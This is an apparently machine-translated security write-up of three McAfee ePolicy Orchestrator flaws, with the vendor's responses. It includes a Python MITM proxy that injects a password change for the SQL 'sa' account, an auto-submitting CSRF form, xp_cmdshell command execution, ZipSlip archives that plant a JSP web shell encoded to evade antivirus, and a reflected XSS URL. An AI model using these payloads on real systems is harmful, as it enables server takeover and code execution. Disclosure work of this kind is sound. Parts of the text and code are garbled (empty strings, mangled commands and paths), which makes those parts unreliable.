Vulnerability in McAfee ePolicy Orchestrator

McAfee ePO is software that helps IT administrators unify security management across endpoints, networks, data, and compliance solutions from McAfee and third-party solutions. McAfee ePO provides flexible automated management capabilities to identify, handle, and respond to security issues and threats.

McAfee ePO login page

My test found three vulnerabilities:

  • CSRF + SSRF + MITM chain, if successfully exploited, allows an unlisted attacker to execute remote code on the server
  • As a result of the ZipSlip attack, the logged in user executes code remotely
  • Reflective XSS

CSRF + SSRF + MITM = command execution

The application contains a zone where administrators can verify the availability of the database, which can then be used as the primary data store.

Configure database settings section

The following request must be sent to test the connection:

POST /core/config HTTP/1.1
Host: epo.test:8443
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 279
Cookie: <cookies>


The request does not contain any protection against CSRF attacks. So far, we have a vulnerability, but it will not affect security, because the request only tests the connection and does not save any rogue settings.

Note, however, how the test connection to the database is established. If the request specifies only the connection host and port, the application uses the current configuration (including user name, password and database name) to establish a connection to the specified server.

To demonstrate this and see what is included in the database connection request, I wrote a simple Python script. It forwards all incoming requests to another host (the actual ePO database) and prints the request to the screen.

Data via MiTM server

It turns out that in my example, the vulnerable server authenticates the database through NTLMSSP and then executes multiple SQL queries to get information from it.

To exploit this vulnerability, we need to modify the query sent to the database. This is why in our MiTM script, we replaced the string "" with "". If successful, testing the connection to the database will result in setting the password for user "SA"“ P@ssw0rd ”. SET TRANSACTION ISOLATION LEVEL READ COMMITTEDALTER LOGIN [sa] WITH PASSWORD='P@ssw0rd ';;;;

import socket
import sys

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

IP = "" # IP and port of MiTM server
PORT = 1436
EPO_IP = ""

print("[+] Starting MiTM server on port: {}".format(str(PORT)))

server_address = (IP, PORT)

server_address2 = (EPO_IP, 50781) # IP and PORT of ePO MSSQL database

while True:
    connection, client_address = sock.accept()
        while True:
            data = connection.recv(4096)
            find = "S\x00E\x00T\x00 \x00T\x00R\x00A\x00N\x00S\x00A\x00C\x00T\x00I\x00O\x00N\x00 \x00I\x00S\x00O\x00L\x00A\x00T\x00I\x00O\x00N\x00 \x00L\x00E\x00V\x00E\x00L\x00 \x00R\x00E\x00A\x00D\x00 \x00C\x00O\x00M\x00M\x00I\x00T\x00T\x00E\x00D"
            if find in data:
                print("[+] Found string in request")
                replace = "A\x00L\x00T\x00E\x00R\x00 \x00L\x00O\x00G\x00I\x00N\x00 \x00[\x00s\x00a\x00]\x00 \x00W\x00I\x00T\x00H\x00 \x00P\x00A\x00S\x00S\x00W\x00O\x00R\x00D\x00=\x00'\x00P\x00@\x00s\x00s\x00w\x000\x00r\x00d\x00'\x00;\x00;\x00;\x00;\x00;"
                data = data.replace(find, replace)
            resp = sock2.recv(4096)

Now to take advantage of the entire CSRF + SSRF + MITM chain, we just need to create an HTML page.

  <body onload="document.getElementById('poc_form').submit()">
    <form action="https://epo.test:8443/core/config" method="POST" id="poc_form">
      <input type="hidden" name="userAction" value="test" />
      <input type="hidden" name="ajaxMode" value="nouser" />
      <input type="hidden" name="db&#46;server&#46;name" value="<MITM_host>" />
      <input type="hidden" name="db&#46;instance&#46;name" value="" />
      <input type="hidden" name="db&#46;port" value="<MITM_port>" />

Let's put the loophole into action. Run the MITM script, enter the credentials in the ePolicy Orchestrator management panel, and then open the HTML page we made. If everything is done correctly, we can connect to the database SA using credentials: P@ssw0rd . The results are as follows:

Using XP_ The cmdshell procedure executes OS commands

After successfully connecting to the database, we can run any system command.

To sum up, the attack consists of five parts:

  1. The administrator opens a malicious HTML page.
  2. The POST request of the impersonation administrator is sent to / core/config, which will cause the target server to connect to the MITM server.
  3. The MITM server proxies all traffic to the SQL Server (which should be externally accessible) and injects an SQL query to change the password of the user SA.
  4. The attacker uses the SA user name and the newly set password to connect to the SQL server.
  5. An attacker can now run arbitrary server commands.

Supplier response: "McAfee has reviewed the code base and we believe this issue has been resolved in cumulative update (CU) 5 released on November 12, 2019."

Certified command execution

I found the next vulnerability in the software extension component (/ core / orionnavigationlogin. Do # / core / oriontab. Do? Sectionid = Orion. Software & Tabid = Orion. Extensions). Only authenticated users can access this vulnerability.

"Software extensions" section

This page prompts you to upload the extension, which should be a file in ZIP format. I don't know the file structure required by the application to recognize the file as a real extension, so I didn't try to upload any malicious extension at this time. However, when I encounter the archive upload function during the test, I always check the ZipSlip vulnerability.

ZipSlip vulnerability is a path traversal. If the name of the packaged file is not cleaned up correctly, this will happen when decompressing the file. Attackers can use/ Create an archive for a file whose name contains' ', so that you can upload any file to any directory or overwrite existing files during archive extraction.

To check for this vulnerability, we will use evilarc Generate an include file/ test.txt.

python -d 1 -p '' -o win -f test.txt

Create a malicious zip file

Then upload the generated ZIP archive as an extension and try to find it in the file system.

Extract file location

We can see that the test files are located in the folder D:\Program Files\McAfee\Server\extensions\tmp \. The root folder of the Web server is D:\Program Files\McAfee\Server\webapps\ROOT, so now we know the relative path required to generate the archive containing the Web shell (stat.jsp). The archive will be extracted to the Web root folder of the server through ZipSlip:

python -d 3 -p 'webapps\ROOT\' -o win -f stat.jsp

Creating a malicious zip file using a web shell

When uploading a JSP shell, we encode it in Unicode so that Windows Defender does not delete it.

Now just upload POC Zip as an extension and check the running web shell.

Execute the "dir" command

As a result, we can run any operating system command.

Supplier response: "we don't think this is an RCE because administrators in the ePO user interface can install extensions for their products. McAfee currently believes that when ePO administrators install extensions, the scenario you describe will work as expected."

Reflective XSS

For exploits, simply go to the address / policymgmt / policydetailcard do? Poid = 19 & typeID = 3 & prodid =% 27% 22% 3E% 3csvg% 2fonload% 3dallert (document.domain)% 3E, as a proof of concept, you will see a document containing Pop up window for domain value.

Added by dm404 on Thu, 06 Jan 2022 00:32:30 +0200